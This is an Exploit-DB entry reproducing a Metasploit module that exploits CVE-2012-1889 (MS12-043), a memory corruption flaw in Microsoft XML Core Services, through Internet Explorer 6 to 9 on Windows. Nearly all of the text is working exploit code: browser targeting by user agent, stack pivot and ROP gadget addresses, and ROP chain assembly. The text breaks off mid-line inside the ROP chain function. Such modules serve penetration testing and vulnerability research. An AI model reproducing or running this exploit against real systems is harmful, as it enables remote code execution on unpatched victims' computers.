Exploit-DB #19186
Description: Microsoft XML Core Services - MSXML Uninitialized Memory Corruption (MS12-043) (Metasploit)
Type: remote
Platform: windows
Date: 2012-06-16
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
  include Msf::Exploit::Remote::BrowserAutopwn
  autopwn_info({
    :ua_name    => HttpClients::IE,
    :ua_minver  => "6.0",
    :ua_maxver  => "9.0",
    :javascript => true,
    :os_name    => OperatingSystems::WINDOWS,
    :classid    => "{f6D90f11-9c73-11d3-b32e-00C04f990bb4}",
    :method     => "definition",
    :rank       => GoodRanking
  })

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS12-043 Microsoft XML Core Services MSXML Uninitialized Memory Corruption",
      'Description'    => %q{
          This module exploits a memory corruption flaw in Microsoft XML Core Services
        when trying to access an uninitialized Node with the getDefinition API, which
        may corrupt memory allowing remote code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'inking26', # Reliable exploitation
          'binjo', # Metasploit module
          'sinn3r',  # Metasploit module
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2012-1889' ],
          [ 'BID', '53934' ],
          [ 'OSVDB', '82873'],
          [ 'MSB', 'MS12-043'],
          [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2719615' ],
          [ 'URL', 'http://www.zdnet.com/blog/security/state-sponsored-attackers-using-ie-zero-day-to-hijack-gmail-accounts/12462' ],
          [ 'URL', 'http://hi.baidu.com/inking26/blog/item/9c2ab11c4784e5aa86d6b6c1.html' ],
          [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/06/18/metasploit-exploits-critical-microsoft-vulnerabilities' ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00",
          'Space'    => 1024
        },
      'DefaultOptions'  =>
        {
          'ExitFunction'         => "process",
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # msxml3.dll 8.90.1101.0
          [ 'Automatic', {} ],
          [
            'IE 6 on Windows XP SP3',
            {
              'Offset' => '0x100',
              'Rop' => nil,
              'RandomHeap' => false
            }
          ],
          [
            'IE 7 on Windows XP SP3 / Vista SP2',
            {
              'Offset' => '0x100',
              'Rop' => nil,
              'RandomHeap' => false
            }
          ],
          [
            'IE 8 on Windows XP SP3',
            {
              'Rop' => :msvcrt,
              'RandomHeap' => false,
              'RopChainOffset' => '0x5f4',
              'Offset' => '0x0',
              'StackPivot' => 0x77c15ed5, # xchg eax, esp # ret # from msvcrt.dll
            }
          ],
          [
            'IE 8 with Java 6 on Windows XP SP3',
            {
              'Rop' => :jre,
              'RandomHeap' => false,
              'RopChainOffset' => '0x5f4',
              'Offset' => '0x0',
              'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
            }
          ],
          [
            'IE 8 with Java 6 on Windows 7 SP1/Vista SP2',
            {
              'Rop' => :jre,
              'RandomHeap' => false,
              'RopChainOffset' => '0x5f4',
              'Offset' => '0x0',
              'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
            }
          ],
          [
            'IE 9 with Java 6 on Windows 7 SP1',
            {
              'Rop' => :jre,
              'RandomHeap' => true,
              'RopChainOffset' => 0x5FC,
              'Offset' => '0x0',
              'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Jun 12 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class)
  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
      return targets[1]  #IE 6 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
      return targets[2]  #IE 7 on Windows XP SP3
    elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
      return targets[2]  #IE 7 on Windows Vista SP2
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
      return targets[3]  #IE 8 on Windows XP SP3
    elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/
      return targets[5]  #IE 8 on Windows 7 SP1/Vista SP2
    elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
      return targets[6]  #IE 9 on Windows 7 SP1
    else
      return nil
    end
  end

  def ret(t)
    case t['Rop']
      when :msvcrt
        return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
      when :jre
        return [ 0x7c347f98 ].pack("V") # RETN (ROP NOP) # msvcr71.dll
    end
  end

  def popret(t)
    case t['Rop']
      when :msvcrt
        return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll
      when :jre
        return [ 0x7c376541 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcr71.dll
    end
  end

  def get_rop_chain(t)
    if t['RandomHeap']
      adjust = [ 0x0c0c0c0c ].pack("V") # heap isn't filled with pointers to 0x0c0c0c0c
      adjust << ret(t)
    else
      adjust = ret(t)
    end

    adjust << popret(t)
    adjust << [ t['StackPivo